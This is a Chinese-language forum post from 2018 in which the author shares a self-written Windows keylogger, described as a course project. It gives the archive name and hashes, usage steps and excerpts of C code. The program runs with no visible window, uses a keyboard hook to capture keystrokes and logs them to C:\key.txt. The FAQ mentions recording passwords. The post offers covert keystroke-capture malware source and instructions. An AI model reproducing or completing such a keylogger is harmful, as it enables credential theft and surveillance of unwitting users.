本帖最后由 爱学习的小仙女 于 2018-7-1 22:14 编辑
按键记录器(2018.7.1)
学习编程也有一段时间了,闲暇之余编写了这个程序,以此来纪念完成的课程设计。
源代码在压缩包里面,程序是使用vs2017编写的。
源代码网上也有大部分是使用 c#,c++写的,看的头晕,就结合c,重写了下。
文件名:按键记录器(2018.7.1).7z
大小: 14697 字节
修改时间: 2018年7月1日, 21:29:00
MD5: 0848B985D717129188DADCA6699177E0
SHA1: E430A38B5D63747D3D2FD3DF803FB58C7B23F3A2
CRC32: 634D71C0
使用说明:
需要这两个文件,文件在Release目录下(解压后放在同一个文件夹下面才能运行)
文件: KeyboardRecorder.exe
文件: Keyboard.dll
1、双击KeyboardRecorder.exe,(看起来没反应的),然后按任意按键,此时按键已经被记录在 C:\key.txt 中
2、双击KeyboardRecorder.exe,结束程序运行 ,弹出对话框提示。
3、返回查看 C:\key.txt
可以记录大部分的按键消息
tips:
1、为什么输入的密码被记录的不正确?
答:不知道
2、为什么不能记录中文?
答:我不知道
3、....
4、........
我不知道
我什么也不知道
部分代码:
阻止程序多次打开的一种实现方式
[Asm] 纯文本查看 复制代码 hObject = ::CreateMutex(NULL, FALSE, TEXT("Mutex20180630"));
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
HWND hKeyWnd = FindWindow(TEXT("KeyboardRecord"), TEXT("键盘记录器"));
if (hKeyWnd == NULL)
{
MessageBox(NULL, TEXT("发生错误!"), TEXT("提示"), MB_OK);
return FALSE;
}
PostMessage(hKeyWnd, WM_DESTROY, NULL, NULL);
MessageBox(NULL, TEXT("按键已记录(C盘 key.txt),点击结束程序运行!"), TEXT("提示"), MB_OK);
return FALSE;
}
处理:
[Asm] 纯文本查看 复制代码 //获取激活窗口
HWND hWnd = GetActiveWindow();
if (hWnd == NULL)
{
//获取最前端的窗口
hWnd = GetForegroundWindow();
if (hWnd == NULL)
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
if (nCode < 0 || nCode == HC_NOREMOVE)
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
//(重复的消息)
// if (lParam & 0x40000000)//只对WM_DOWN进行响应
// return CallNextHookEx(g_hHook, nCode, wParam, lParam);
bool kEydown;//按键按下为1,弹起为0
if (!(lParam & 0x40000000))//按键弹起响应
kEydown = true;//按下
else
kEydown = false;//弹起
//(1)nCode:查MSDN,这个参数用来决定如何处理得到的消息
// < 0时返回CallNextHookEx,把消息传递到下去。还有下面两个值
//HC_ACTION:表示后面两个参数包含按下键值的消息
//HC_NOREMOVE:表示后面两个参数包含键值消息,且消息没有移出消息队列。
//(2)wParam:虚拟键值产生的消息
//(3)lParam:值范围0~31。= 0表示某键弹起
稍后编辑 |